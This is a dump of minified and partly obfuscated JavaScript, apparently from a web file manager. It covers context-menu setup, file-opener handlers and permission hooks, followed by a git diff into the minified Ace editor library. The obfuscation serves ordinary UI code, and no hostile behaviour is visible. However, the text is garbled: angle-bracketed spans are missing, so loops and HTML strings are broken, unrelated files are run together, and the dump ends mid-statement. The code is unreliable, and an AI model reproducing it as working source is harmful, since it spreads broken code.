_0x41d3fd={};_0x41d3fd[_kod_0x46d5('0xef','&Tiv')]=null;_0x41d3fd[_kod_0x46d5('0xf0','A[bK')]=null;_0x41d3fd[_kod_0x46d5('0xf1','#bfE')]=_0x539b1c.accesskey;_0x41d3fd['className']=_0x539b1c.className;_0x41d3fd[_kod_0x46d5('0xf2','tepW')]=_0x539b1c.icon;_0x41d3fd['name']=_0x539b1c.name;_0x41d3fd['_name']=_0x1a2790;_0x41d3fd[_kod_0x46d5('0xf3','6D#W')]=_0x222928;if(_0x399c49&&(_0x399c49[_kod_0x46d5('0xf4','ZBag')]||(_0x399c49['items']={}),_0x399c49[_kod_0x46d5('0xa9','gz7W')][_0x464188]=_0x41d3fd),_0x48d85e[_kod_0x46d5('0xf5','a0nd')]!=typeof _0x539b1c&&(_0x592497['commands']||(_0x592497['commands']={}),_0x592497[_kod_0x46d5('0x82',')T(f')][_0x464188]=_0x41d3fd,_0xece64d['commands'][_0x464188]=_0x41d3fd,_0xece64d[_kod_0x46d5('0xf6','&Tiv')][_0x464188]=function(_0x25c351,_0x18cd3a){_0x539b1c[_kod_0x46d5('0xf7','$zeB')](_0x25c351,_0x18cd3a);},_0x539b1c['accesskey']&&(_0xece64d['accesskeys'][_0x539b1c[_kod_0x46d5('0xf8','Tg#C')]]=_0x41d3fd),_0x539b1c['items'])){var _0x25eddc=_0x48d85e[_kod_0x46d5('0xf9','6D#W')](_0x464188,'-first-item'),_0x336e55=_0x48d85e[_kod_0x46d5('0xfa','Yv8t')](_0x48d85e[_kod_0x46d5('0xfb','ZNFv')],_0x464188)+_0x48d85e[_kod_0x46d5('0xfc','a0nd')]+_0x25eddc+'\x22>\x09\x09\x09\x09\x09';$(_0x336e55)[_kod_0x46d5('0xfd','@*22')](_0x222928),_0x41d3fd[_kod_0x46d5('0xfe','h*gi')]=_0x222928['find'](_0x48d85e[_kod_0x46d5('0xff','@*22')](_kod_0x46d5('0x100','KCJX'),_0x464188)),_0x41d3fd['callback']=null,_0x41d3fd[_kod_0x46d5('0x101',')Zq2')]=_0x41d3fd['$node'],_0x41d3fd[_kod_0x46d5('0x102','FeGc')]='sub',_0x222928[_kod_0x46d5('0x103',']y0&')](_kod_0x46d5('0x104','W[*g'),_0x41d3fd)[_kod_0x46d5('0x105','@*22')]('context-menu-submenu'),_0x222928[_kod_0x46d5('0x106','L)pg')](_kod_0x46d5('0x107','amMN')+_0x464188)[_kod_0x46d5('0x108','&Tiv')]({'contextMenuRoot':_0xece64d,'contextMenu':_0x41d3fd}),_0x222928[_kod_0x46d5('0x109','ZNFv')](_0x48d85e[_kod_0x46d5('0x10a','FeGc')]+_0x25eddc)['data']({'contextMenuRoot':_0xece64d,'contextMenuKey':_0x25eddc,'contextMenu':_0x41d3fd}),_0x41d3fd[_kod_0x46d5('0x59','CpJI')]||(_0x41d3fd['items']={}),_0x41d3fd[_kod_0x46d5('0x10b',')b(p')][_0x25eddc]={'$input':null,'$label':null,'icon':'','name':'','_name':'','$node':_0x222928[_kod_0x46d5('0x10c',')b(p')](_0x48d85e[_kod_0x46d5('0x10d','#I7Z')](_kod_0x46d5('0x10e','TbL]'),_0x25eddc))},_0x1ea789(_0x41d3fd,_0x539b1c[_kod_0x46d5('0x10f',')Cl!')],_0x48d85e[_kod_0x46d5('0x110','6D#W')]('.',_0x25eddc));}});};_0x326a5b[_kod_0x46d5('0x111','@*22')](_0x1ea789,_0xece64d,_0x30fcdf,_0x2a10cb,_0x44a4a6);}};var _0x31f62f=function(){var _0x4feb74={};_0x4feb74[_kod_0x46d5('0x112','Ghlq')]=_0x326a5b.kOkyr;_0x4feb74['KeOgZ']=_kod_0x46d5('0x113','&q8#');_0x4feb74[_kod_0x46d5('0x114','(26G')]=_0x326a5b.CavDC;_0x4feb74[_kod_0x46d5('0x115','&Tiv')]=function(_0x167fc8,_0x4fc08f){return _0x167fc8+_0x4fc08f;};_0x4feb74['UKIdZ']=_kod_0x46d5('0x116','(i@T');_0x4feb74['kiRXb']=_0x326a5b.IXDxR;_0x4feb74['DSREq']=_0x326a5b.mIDCD;return $(_kod_0x46d5('0x117','o$)d'))['appendTo'](_kod_0x46d5('0x118','W[*g')),_kod_0x46d5('0x119','A[bK')!=typeof $[_kod_0x46d5('0x104','W[*g')]?console[_kod_0x46d5('0x11a','TbL]')](_kod_0x46d5('0x11b',')b(p')):($['contextMenu']({'zIndex':0x270f,'selector':_0x326a5b[_kod_0x46d5('0x11c','(26G')],'items':{'dialog-quit':{'name':LNG[_kod_0x46d5('0x11d',')T(f')],'className':_kod_0x46d5('0x11e','TbL]'),'icon':_0x326a5b['CDuvI'],'accesskey':'q'},'dialog-max':{'name':LNG['dialog_max'],'className':_kod_0x46d5('0x11f','srTF'),'icon':'resize-full','accesskey':'a'},'dialog-min':{'name':LNG[_kod_0x46d5('0x120','$zeB')],'className':_kod_0x46d5('0x121','ZBag'),'icon':_kod_0x46d5('0x122','tepW'),'accesskey':'i'},'sep1':_0x326a5b[_kod_0x46d5('0x123','gz7W')],'refresh':{'name':LNG['refresh'],'className':_0x326a5b[_kod_0x46d5('0x124','Svi#')],'icon':_kod_0x46d5('0x125','KCJX'),'accesskey':'r'},'open-window':{'name':LNG['open_ie'],'className':'open-window','icon':_kod_0x46d5('0x126','E9Jc'),'accesskey':'b'},'qrcode':{'name':LNG['qrcode'],'className':_0x326a5b[_kod_0x46d5('0x127','5$Bm')],'icon':_kod_0x46d5('0x128','A[bK'),'accesskey':'c'}},'callback':function(_0x2f5e05,_0xfc62a6){if(_kod_0x46d5('0x129','Ghlq')==='LTSHb'){var _0x31f62f=_0xfc62a6[_kod_0x46d5('0x12a',']y0&')]['attr']('id'),_0x2476f3=$[_kod_0x46d5('0x12b','h*gi')][_kod_0x46d5('0x12c',')Zq2')][_0x31f62f];switch(_0x2f5e05){case _0x4feb74[_kod_0x46d5('0x12d','&Tiv')]:_0x2476f3['close']();break;case _0x4feb74['DSREq']:_0x2476f3['_clickMin'](!0x1);break;case _kod_0x46d5('0x12e','Ghlq'):_0x2476f3[_kod_0x46d5('0x12f','tepW')]();break;case _kod_0x46d5('0x130','Svi#'):_0x2476f3[_kod_0x46d5('0x131','J]Hl')]();break;case _kod_0x46d5('0x132','gz7W'):_0x2476f3[_kod_0x46d5('0x133','srTF')]();break;case'qrcode':core['qrcode'](_0x2476f3['DOM'][_kod_0x46d5('0x134','ZNFv')]['find']('iframe')['attr'](_kod_0x46d5('0x135','gz7W')));}}else{var _0x56b869=_0x2f5e05[_kod_0x46d5('0x136','W[*g')]('id'),_0x5b4c4c=$[_kod_0x46d5('0x137','$zeB')][_kod_0x46d5('0x138','TbL]')][_0x56b869],_0x38f4e8=_0x4feb74['FMghZ'],_0x39a019=_0x4feb74[_kod_0x46d5('0x139','o$)d')];_0x5b4c4c['hasFrame']()?_0xfc62a6[_kod_0x46d5('0x13a',')Zq2')](_0x39a019)[_kod_0x46d5('0x13b',')b(p')](_0x38f4e8):_0xfc62a6[_kod_0x46d5('0x13c','@*22')](_0x39a019)[_kod_0x46d5('0x13d',')b(p')](_0x38f4e8);var _0x3bf925=_0x4feb74[_kod_0x46d5('0x13e','W[*g')];$(_0x4feb74[_kod_0x46d5('0x13f','Tg#C')]('.',_0x56b869))[_kod_0x46d5('0x140','jcUX')](_0x4feb74[_kod_0x46d5('0x141','Svi#')])?_0xfc62a6['find'](_0x3bf925)[_kod_0x46d5('0x142',']y0&')](_0x38f4e8):_0xfc62a6[_kod_0x46d5('0x143','TbL]')](_0x3bf925)['addClass'](_0x38f4e8);}}}),void $(_0x326a5b['TMUVT'])['die'](_kod_0x46d5('0x144','Ghlq'))[_kod_0x46d5('0x145','x*z*')](_0x326a5b[_kod_0x46d5('0x146','L)pg')],function(_0x1cd133){var _0xc14c8e=$(this)[_kod_0x46d5('0x147',')Zq2')]();_0xc14c8e[_kod_0x46d5('0x148','(26G')]+=_0x326a5b[_kod_0x46d5('0x149','&q8#')]($,this)[_kod_0x46d5('0x14a','h*gi')](),_0x326a5b[_kod_0x46d5('0x14b','E9Jc')]($,this)[_kod_0x46d5('0x14c','tepW')]()[_kod_0x46d5('0x14d','!BFl')]()[_kod_0x46d5('0x14e','FeGc')]({'x':_0x1cd133['pageX'],'y':_0xc14c8e[_kod_0x46d5('0x14f','Yv8t')]});})[_kod_0x46d5('0x150','jcUX')]('dblclick')['live']('dblclick',function(_0x10b44d){var _0xc14c8e=_0x326a5b['hHlrD']($,this)[_kod_0x46d5('0x151','ZNFv')]()[_kod_0x46d5('0x152','x*z*')]()[_kod_0x46d5('0x153','CpJI')]('id'),_0x31f62f=$[_kod_0x46d5('0x154','Yv8t')][_kod_0x46d5('0x138','TbL]')][_0xc14c8e];_0x31f62f[_kod_0x46d5('0x155','tepW')](),$[_kod_0x46d5('0x156','5$Bm')]['hidden']();}));};Hook['bind'](_kod_0x46d5('0x157','@*22'),function(_0x3dd82b,_0x19fcec){var _0x31f62f=_0x3dd82b[_kod_0x46d5('0x158','ZNFv')]('id'),_0x256330=$[_kod_0x46d5('0x159',')T(f')]['list'][_0x31f62f],_0x4e167c=_kod_0x46d5('0x15a','KaAL'),_0x344f7c=_kod_0x46d5('0x15b',']y0&');_0x256330[_kod_0x46d5('0x15c','!BFl')]()?_0x19fcec[_kod_0x46d5('0x15d','5$Bm')](_0x344f7c)['removeClass'](_0x4e167c):_0x19fcec['find'](_0x344f7c)[_kod_0x46d5('0x15e',')Zq2')](_0x4e167c);var _0x41030f='.dialog-min,.dialog-max';$('.'+_0x31f62f)[_kod_0x46d5('0x15f','!BFl')](_0x326a5b[_kod_0x46d5('0x160',')T(f')])?_0x19fcec[_kod_0x46d5('0x161','coI9')](_0x41030f)[_kod_0x46d5('0x162','oApp')](_0x4e167c):_0x19fcec['find'](_0x41030f)['addClass'](_0x4e167c);}),_0x31f62f();});;define("app/app/appBase",[],function(a,b){var c={},d={},e={},f=!1,g=function(a){a.title=void 0==a.title?a.name:a.title,void 0==a.name&&(a.name=UUID(),a.hidden=!0),c[a.name]=a,a.ext||(a.ext="");var b=a.ext.split(",");c[a.name].extArr=b,"undefined"!=typeof a.sort?a.sort=parseInt(a.sort):a.sort=0;for(var e=0;e1&&d[f].sort(function(a,b){return a.sort
          '+LNG.unknow_file_tips+"
          "+b+'
          1.'+h+d+'">'+LNG["Explorer.UI.openWith"]+'
          2.'+h+e+'">'+LNG["Explorer.UI.openWithText"]+'
          3.'+h+f+'">'+LNG.unknow_file_download+'
          '+h+g+'">'+LNG.PluginCenter+""+LNG.unknow_plugin_search+"
          ";$.dialog({fixed:!0,icon:"warning",title:LNG.unknow_file_title,padding:"20px 50px",content:i,cancel:!0}),$(".unknow-file a").unbind("click").bind("click",function(a){return $(this).parents(".artDialog").data("artDialog").close(),stopPP(a)})},kodApp.add({name:"download",title:LNG.download,hidden:!0,icon:"x-item-file x-html",callback:function(a,b){if(c(a)){var d=a;"http"!=a.substr(0,4)&&(d=G.appHost+"explorer/fileDownload&accessToken="+G.accessToken+"&path="+urlEncode(a),"undefined"!=typeof G.sharePage&&(d=G.appHost+"share/fileDownload&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),$.dialog({icon:"succeed",title:!1,time:1.5,content:LNG.download_ready+"..."}),isWap()?window.open(d):$('').appendTo("body")}}}),kodApp.download=function(a){kodApp.open(a,"","download")},kodApp.openWindow=function(a){kodApp.open(a,"","browserOpen")},kodApp.add({name:"browserOpen",title:LNG.open_ie,sort:-100,icon:"x-item-file x-html",callback:function(a,b){if(c(a)){var d=core.path2url(a);isWap()?window.location.href=d:window.open(d)}}}),kodApp.add({name:"swfPlayer",title:"Flash Player",ext:"swf",icon:"x-item-file x-swf",callback:function(a,b){$.dialog({resize:!0,fixed:!0,ico:core.icon(b),title:core.pathThis(a),width:"75%",height:"65%",padding:0,content:core.createFlash(core.path2url(a))})}}),kodApp.add({name:"webLink",title:"webLink",ext:"url,webloc",sort:10,icon:"x-item-file x-html",callback:function(a,b){core.fileGet(a,function(c){if("url"==b){var d=c.match(/URL=(.*)/);if(d.length>=2)return window.open(d[1])}else if("webloc"==b)try{var e=$($.parseXML(c)),f=e.find("string").text();return void window.open(f)}catch(g){}kodApp.open(a,b,"editor")})}}),kodApp.add({name:"htmlView",title:LNG["Plugin.default.htmlView"],ext:"htm,html,shtml",sort:10,icon:"x-item-file x-html",callback:function(a,b){var c=core.path2url(a);core.openDialog(c,core.icon("html"),core.pathThis(a))}}),kodApp.add({name:"pdfView",title:"PDF Simple",ext:"pdf",sort:0,icon:"x-item-file x-pdf",callback:function(a,b){var c=core.path2url(a),d="pdf"+UUID(),e='";$.dialog({resize:!0,fixed:!0,ico:core.icon(b),title:core.pathThis(a),width:"80%",height:"75%",padding:0,content:e}),PDFObject.embed(c,"#"+d)}}),kodApp.add({name:"oexeOpen",title:LNG["kodApp.oexe.open"],ext:"oexe",sort:100,icon:" x-item-file x-oexe",callback:function(a,b){core.fileGet(a,function(b){var c=jsonDecode(b);c.name=core.pathThis(a),core.openApp(c)})}}),kodApp.add({name:"oexeEdit",title:LNG["kodApp.oexe.edit"],ext:"oexe",sort:50,icon:"icon-edit ",callback:function(a,b){core.fileGet(a,function(b){var c=jsonDecode(b);c.name=core.pathThis(a),c.path=a,ui.path.pathOperate.appEdit(c)})}});var d={createApp:{name:LNG.app_create,className:"createApp newfile",icon:"icon-puzzle-piece x-item-file x-oexe",callback:function(a,b){ui.path.pathOperate.appEdit(0,0,"userAdd")}}};$.contextMenu.menuAdd(d,".menu-body-main",".app-install"),$.contextMenu.menuAdd(d,".toolbar-path-more",".app-install"),$.contextMenu.menuAdd(d,".bodymain",".app-install"),Hook.bind("rightMenu.show",function(a,b,c){var d=[".menu-folder",".menu-file",".menu-tree-folder",".menu-tree-file",".menu-tree-folder-fav"];if(c.find(".context-menu-submenu").fadeOut(0).delay(0).fadeIn(0),c.removeClass("menu-auto-fit"),h(b),c.inScreen()||c.addClass("menu-auto-fit"),".menu-body-main"==a){var e=c.find(".set-file-icon-size.context-menu-submenu");"icon"==G.userConfig.listType?e.removeClass("hidden"):e.addClass("hidden")}if(_.include(d,a)){var f="disabled",g=".cute,.rname,.remove",i=".open,.open-text,.down,.share,.copy,.cute,.rname,.remove,.open-browser,.search,.more-action";b.hasClass("file-not-readable")?c.find(i).addClass(f):c.find(i).removeClass(f),b.hasClass("file-not-writeable")?c.find(g).addClass(f):c.find(g).removeClass(f)}}),Hook.bind("rightMenu.show.menu-body-main",function(a,b){var c=".upload,.past,.newfolder,.newfile",d="disabled";_.get(G,"jsonData.info.canUpload")?b.find(c).removeClass(d):b.find(c).addClass(d)}),Hook.bind("rightMenu.show.menu-file",function(a,b){if($(".context-menu-active").hasClass("menu-tree-file"))var c=ui.tree.makeParam();else var c=ui.path.makeParam();var d=core.pathExt(c.path),e="hidden";inArray(["jpg","jpeg","png"],d)?b.find(".set-background").removeClass(e):b.find(".set-background").addClass(e)});var e=function(){var a=".close-item,.refresh,.newfile,.past,.info",b=".open-browser",c=".explorer,.create-project,.open-project",d=".close-item,.newfile,.refresh,.past,.down,.copy,.cute,.remove,.more-action,.clone,.info,.zip,.zip-zip,.zip-tar,.zip-tgz",e=".newfile,.cute,.past,.rname,.zip,.remove,.clone,.create-link-home,.create-link,.create-project",f=$(".menu-tool-path"),g="hidden",h=ui.fileLight.fileListSelect();f.find(".context-menu-item").addClass(g),0==h.length?f.find(a).removeClass(g):1==h.length?(f.find(".context-menu-item").removeClass(g),"folder"==ui.fileLight.type(h)?f.find(b).addClass(g):f.find(c).addClass(g)):h.length>1&&f.find(d).removeClass(g),G.jsonData&&G.jsonData.info&&G.jsonData.info.canUpload===!1&&f.find(e).filter(":not(."+g+")").addClass(g)},f=function(){var a=ui.fileLight.fileListSelect(),b=$(".kod-toolbar-path .select-button-show"),c="hidden";G.jsonData&&G.jsonData.info&&(0==a.length||G.jsonData.info.pathType==G.KOD_USER_SHARE&&G.jsonData.info.id!=G.userID?b.addClass("hidden"):(b.removeClass("hidden"),b.find("[data-action=share]").removeClass(c),b.find("[data-action=rname]").removeClass(c),a.length>1&&(b.find("[data-action=share]").addClass(c),b.find("[data-action=rname]").addClass(c))))},g=function(){var a=_.get(G,"jsonData.info.pathType"),b=$(".kod-toolbar-share .select-button-show-share"),c=ui.fileLight.fileListSelect(),d="hidden";a!=G.KOD_USER_SHARE||0==c.length?b.addClass("hidden"):(b.removeClass("hidden"),b.find("[data-action=shareEdit]").removeClass(d),b.find("[data-action=shareOpenWindow]").removeClass(d),c.length>1&&(b.find("[data-action=shareEdit]").addClass(d),b.find("[data-action=shareOpenWindow]").addClass(d)))};Hook.bind("explorer.fileSelect.init",function(){ui.fileLight.listNumberSet()}),Hook.bind("explorer.fileSelect.change",function(){e(),f(),g(),ui.fileLight.selectNumSet()}),Hook.bind("rightMenu.show.toolbar-path-more",function(){e()}),Hook.bind("rightMenu.initFinished",function(){if(1!=G.isRoot){var a="hidden",b={"explorer.fileDownload":"@.down,@.download,@.share,@.open-text,[data-action=download]","explorer.search":"@.search","explorer.mkfile":"@.newfile,[data-action=newfile],@.past,@.clone","explorer.mkdir":"@.newfolder,[data-action=newfolder]","explorer.pathRname":"@.rname,[data-action=rname]","explorer.pathDelete":"@.remove,@.remove + .context-menu-separator,[data-action=remove]","explorer.pathCopy":"@.cute,@.copy,[data-action=cute],[data-action=copy]","explorer.fileUpload":"@.upload,@.upload-more,[data-action=upload],[data-action=upload-more]","explorer.unzip":"@.unzip","explorer.zip":"@.zip","userShare.set":"@.share,[data-action=share]"};setTimeout(function(){for(var c in b){var d=replaceAll(b[c],"@",".context-menu-list ");core.authCheck(c)||$(d).addClass(a)}},100),core.authCheck("explorer.fileDownload")||(kodApp.remove("browserOpen"),kodApp.remove("htmlView"))}}),Hook.bind("kodApp.callback.before",function(a,b,c){return-1==$.inArray(a.name,["browserOpen","htmlView","zipView"])||core.authCheckGroup("explorer.fileDownload",b)?void 0:(Tips.tips(LNG.no_permission_action,"error"),!0)});var h=function(a){return},i=function(){if(G.authGroupRole||(G.authGroupRole={}),_.get(G,"jsonData.info.pathType")==G.KOD_GROUP_PATH){var a=_.get(G,"jsonData.info.id");G.authGroupRole[a]=_.get(G,"jsonData.info.groupRole.authArr")}h()};Hook.bind("explorer.path.ajaxLive",i)});;define("app/common/tpl/copyright.html",[],'\n');;define("app/common/tpl/themeDIY.html",[],"@media screen and (max-width:100000px) {\n body .full-background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blurSize= (bgBlur==0?0:10) }}{{/if}}\n body .full-background:before{\n -webkit-filter: blur({{blurSize}}px);\n -moz-filter: blur({{blurSize}}px);\n -ms-filter: blur({{blurSize}}px);\n filter: blur({{blurSize}}px);\n }\n {{if bgType == 'image'}}\n body .full-background,\n body .full-background:before,\n body #body .menu-left,\n body #body .app-menu-left,\n body .aui-buttons,\n body .aui-state-focus .aui-title,body .aui-title{\n background-image:url({{bgImage}});\n }\n body .aui-state-focus .aui-title,body .aui-title{\n background-size:100%;\n }\n {{else}}\n body .full-background,\n body .full-background:before,\n body #body .menu-left, \n body #body .app-menu-left,\n body .aui-buttons,\n body .aui-state-focus .aui-title,body .aui-title{\n background:{{endColor}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{startColor}}', endColorstr='{{endColor}}');\n background-image: -webkit-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: -moz-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: -o-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: -ms-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n }\n {{/if}}\n}\n"); \ No newline at end of file diff --git a/static/js/lib/ace/src-min-noconflict/ace.js b/static/js/lib/ace/src-min-noconflict/ace.js index 4b1bfc9..0205abf 100755 --- a/static/js/lib/ace/src-min-noconflict/ace.js +++ b/static/js/lib/ace/src-min-noconflict/ace.js @@ -1,5 +1,5 @@ -(function(){var h="ace";var d=(function(){return this})();if(!d&&typeof window!="undefined"){d=window}if(!h&&typeof requirejs!=="undefined"){return}var g=function(i,k,j){if(typeof i!=="string"){if(g.original){g.original.apply(this,arguments)}else{console.error("dropping module because define wasn't a string.");console.trace()}return}if(arguments.length==2){j=k}if(!g.modules[i]){g.payloads[i]=j;g.modules[i]=null}};g.modules={};g.payloads={};var a=function(r,m,q){if(typeof m==="string"){var o=f(r,m);if(o!=undefined){q&&q();return o}}else{if(Object.prototype.toString.call(m)==="[object Array]"){var p=[];for(var k=0,j=m.length;k1&&d(l,"")>-1){j=RegExp(this.source,h.replace.call(g(this),"g",""));h.replace.call(n.slice(l.index),j,function(){for(var o=1;ol.index)){this.lastIndex--}}return l};if(!e){RegExp.prototype.test=function(j){var i=h.exec.call(this,j);if(i&&this.global&&!i[0].length&&(this.lastIndex>i.index)){this.lastIndex--}return !!i}}function g(i){return(i.global?"g":"")+(i.ignoreCase?"i":"")+(i.multiline?"m":"")+(i.extended?"x":"")+(i.sticky?"y":"")}function d(m,k,l){if(Array.prototype.indexOf){return m.indexOf(k,l)}for(var j=l||0;j0){if(aw>aq){aw=aq}}else{if(aw==void 0){aw=0}else{if(aw<0){aw=Math.max(aq+aw,0)}}}if(!(aw+aoax){for(at=an;at--;){this[ap+at]=this[ax+at]}}}if(az&&aw===ar){this.length=ar;this.push.apply(this,ay)}else{this.length=ar+az;for(at=0;at>>0;if(L(an)!="[object Function]"){throw new TypeError()}while(++aq>>0,an=Array(au),at=arguments[1];if(L(ao)!="[object Function]"){throw new TypeError(ao+" is not a function")}for(var ar=0;ar>>0,an=[],av,at=arguments[1];if(L(ao)!="[object Function]"){throw new TypeError(ao+" is not a function")}for(var ar=0;ar>>0,ar=arguments[1];if(L(an)!="[object Function]"){throw new TypeError(an+" is not a function")}for(var aq=0;aq>>0,ar=arguments[1];if(L(an)!="[object Function]"){throw new TypeError(an+" is not a function")}for(var aq=0;aq>>0;if(L(ao)!="[object Function]"){throw new TypeError(ao+" is not a function")}if(!at&&arguments.length==1){throw new TypeError("reduce of empty array with no initial value")}var ar=0;var an;if(arguments.length>=2){an=arguments[1]}else{do{if(ar in ap){an=ap[ar++];break}if(++ar>=at){throw new TypeError("reduce of empty array with no initial value")}}while(true)}for(;ar>>0;if(L(ao)!="[object Function]"){throw new TypeError(ao+" is not a function")}if(!at&&arguments.length==1){throw new TypeError("reduceRight of empty array with no initial value")}var an,ar=at-1;if(arguments.length>=2){an=arguments[1]}else{do{if(ar in ap){an=ap[ar--];break}if(--ar<0){throw new TypeError("reduceRight of empty array with no initial value")}}while(true)}do{if(ar in this){an=ao.call(void 0,an,ap[ar],ar,aq)}}while(ar--);return an}}if(!Array.prototype.indexOf||([0,1].indexOf(1,2)!=-1)){Array.prototype.indexOf=function v(ao){var an=aa&&L(this)=="[object String]"?this.split(""):M(this),aq=an.length>>>0;if(!aq){return -1}var ap=0;if(arguments.length>1){ap=U(arguments[1])}ap=ap>=0?ap:Math.max(0,aq+ap);for(;ap>>0;if(!aq){return -1}var ap=aq-1;if(arguments.length>1){ap=Math.min(ap,U(arguments[1]))}ap=ap>=0?ap:aq-Math.abs(ap);for(;ap>=0;ap--){if(ap in an&&ao===an[ap]){return ap}}return -1}}if(!Object.getPrototypeOf){Object.getPrototypeOf=function ah(an){return an.__proto__||(an.constructor?an.constructor.prototype:A)}}if(!Object.getOwnPropertyDescriptor){var b="Object.getOwnPropertyDescriptor called on a "+"non-object: ";Object.getOwnPropertyDescriptor=function B(ap,aq){if((typeof ap!="object"&&typeof ap!="function")||ap===null){throw new TypeError(b+ap)}if(!T(ap,aq)){return}var ar,an,at;ar={enumerable:true,configurable:true};if(p){var ao=ap.__proto__;ap.__proto__=A;var an=ac(ap,aq);var at=aj(ap,aq);ap.__proto__=ao;if(an||at){if(an){ar.get=an}if(at){ar.set=at}return ar}}ar.value=ap[aq];return ar}}if(!Object.getOwnPropertyNames){Object.getOwnPropertyNames=function R(an){return Object.keys(an)}}if(!Object.create){var V;if(Object.prototype.__proto__===null){V=function(){return{"__proto__":null}}}else{V=function(){var ao={};for(var an in ao){ao[an]=null}ao.constructor=ao.hasOwnProperty=ao.propertyIsEnumerable=ao.isPrototypeOf=ao.toLocaleString=ao.toString=ao.valueOf=ao.__proto__=null;return ao}}Object.create=function j(ap,aq){var ao;if(ap===null){ao=V()}else{if(typeof ap!="object"){throw new TypeError("typeof prototype["+(typeof ap)+"] != 'object'")}var an=function(){};an.prototype=ap;ao=new an();ao.__proto__=ap}if(aq!==void 0){Object.defineProperties(ao,aq)}return ao}}function F(an){try{Object.defineProperty(an,"sentinel",{});return"sentinel" in an}catch(ao){}}if(Object.defineProperty){var i=F({});var H=typeof document=="undefined"||F(document.createElement("div"));if(!i||!H){var E=Object.defineProperty}}if(!Object.defineProperty||E){var f="Property description must be an object: ";var W="Object.defineProperty called on non-object: ";var n="getters & setters can not be defined "+"on this javascript engine";Object.defineProperty=function Z(ao,aq,ar){if((typeof ao!="object"&&typeof ao!="function")||ao===null){throw new TypeError(W+ao)}if((typeof ar!="object"&&typeof ar!="function")||ar===null){throw new TypeError(f+ar)}if(E){try{return E.call(Object,ao,aq,ar)}catch(ap){}}if(T(ar,"value")){if(p&&(ac(ao,aq)||aj(ao,aq))){var an=ao.__proto__;ao.__proto__=A;delete ao[aq];ao[aq]=ar.value;ao.__proto__=an}else{ao[aq]=ar.value}}else{if(!p){throw new TypeError(n)}if(T(ar,"get")){ae(ao,aq,ar.get)}if(T(ar,"set")){al(ao,aq,ar.set)}}return ao}}if(!Object.defineProperties){Object.defineProperties=function N(an,ao){for(var ap in ao){if(T(ao,ap)){Object.defineProperty(an,ap,ao[ap])}}return an}}if(!Object.seal){Object.seal=function X(an){return an}}if(!Object.freeze){Object.freeze=function s(an){return an}}try{Object.freeze(function(){})}catch(l){Object.freeze=(function s(ao){return function an(ap){if(typeof ap=="function"){return ap}else{return ao(ap)}}})(Object.freeze)}if(!Object.preventExtensions){Object.preventExtensions=function O(an){return an}}if(!Object.isSealed){Object.isSealed=function am(an){return false}}if(!Object.isFrozen){Object.isFrozen=function ab(an){return false}}if(!Object.isExtensible){Object.isExtensible=function r(ao){if(Object(ao)===ao){throw new TypeError()}var an="";while(T(ao,an)){an+="?"}ao[an]=true;var ap=T(ao,an);delete ao[an];return ap}}if(!Object.keys){var m=true,u=["toString","toLocaleString","valueOf","hasOwnProperty","isPrototypeOf","propertyIsEnumerable","constructor"],k=u.length;for(var x in {"toString":null}){m=false}Object.keys=function I(ap){if((typeof ap!="object"&&typeof ap!="function")||ap===null){throw new TypeError("Object.keys called on a non-object")}var at=[];for(var ao in ap){if(T(ap,ao)){at.push(ao)}}if(m){for(var aq=0,ar=k;aq0||-1)*Math.floor(Math.abs(an))}}return an}function z(an){var ao=typeof an;return(an===null||ao==="undefined"||ao==="boolean"||ao==="number"||ao==="string")}function w(ao){var aq,an,ap;if(z(ao)){return ao}an=ao.valueOf;if(typeof an==="function"){aq=an.call(ao);if(z(aq)){return aq}}ap=ao.toString;if(typeof ap==="function"){aq=ap.call(ao);if(z(aq)){return aq}}throw new TypeError()}var M=function(an){if(an==null){throw new TypeError("can't convert "+an+" to object")}return Object(an)}});ace.define("ace/lib/fixoldbrowsers",["require","exports","module","ace/lib/regexp","ace/lib/es5-shim"],function(b,a,c){b("./regexp");b("./es5-shim")});ace.define("ace/lib/dom",["require","exports","module"],function(c,a,d){var b="http://www.w3.org/1999/xhtml";a.getDocumentHead=function(f){if(!f){f=document}return f.head||f.getElementsByTagName("head")[0]||f.documentElement};a.createElement=function(f,g){return document.createElementNS?document.createElementNS(g||b,f):document.createElement(f)};a.hasCssClass=function(h,f){var g=(h.className+"").split(/\s+/g);return g.indexOf(f)!==-1};a.addCssClass=function(g,f){if(!a.hasCssClass(g,f)){g.className+=" "+f}};a.removeCssClass=function(i,g){var h=i.className.split(/\s+/g);while(true){var f=h.indexOf(g);if(f==-1){break}h.splice(f,1)}i.className=h.join(" ")};a.toggleCssClass=function(i,g){var h=i.className.split(/\s+/g),j=true;while(true){var f=h.indexOf(g);if(f==-1){break}j=false;h.splice(f,1)}if(j){h.push(g)}i.className=h.join(" ");return j};a.setCssClass=function(h,g,f){if(f){a.addCssClass(h,g)}else{a.removeCssClass(h,g)}};a.hasCssString=function(i,h){var f=0,g;h=h||document;if(h.createStyleSheet&&(g=h.styleSheets)){while(f=0)?parseFloat((c.match(/(?:MSIE |Trident\/[0-9]+[\.0-9]+;.*rv:)([0-9]+[\.0-9]+)/)||[])[1]):parseFloat((c.match(/(?:Trident\/[0-9]+[\.0-9]+;.*rv:)([0-9]+[\.0-9]+)/)||[])[1]);a.isOldIE=a.isIE&&a.isIE<9;a.isGecko=a.isMozilla=(window.Controllers||window.controllers)&&window.navigator.product==="Gecko";a.isOldGecko=a.isGecko&&parseInt((c.match(/rv:(\d+)/)||[])[1],10)<4;a.isOpera=window.opera&&Object.prototype.toString.call(window.opera)=="[object Opera]";a.isWebKit=parseFloat(c.split("WebKit/")[1])||undefined;a.isChrome=parseFloat(c.split(" Chrome/")[1])||undefined;a.isAIR=c.indexOf("AdobeAIR")>=0;a.isIPad=c.indexOf("iPad")>=0;a.isChromeOS=c.indexOf(" CrOS ")>=0;a.isIOS=/iPad|iPhone|iPod/.test(c)&&!window.MSStream;if(a.isIOS){a.isMac=true}});ace.define("ace/lib/event",["require","exports","module","ace/lib/keys","ace/lib/useragent"],function(f,g,d){var k=f("./keys");var e=f("./useragent");var h=null;var 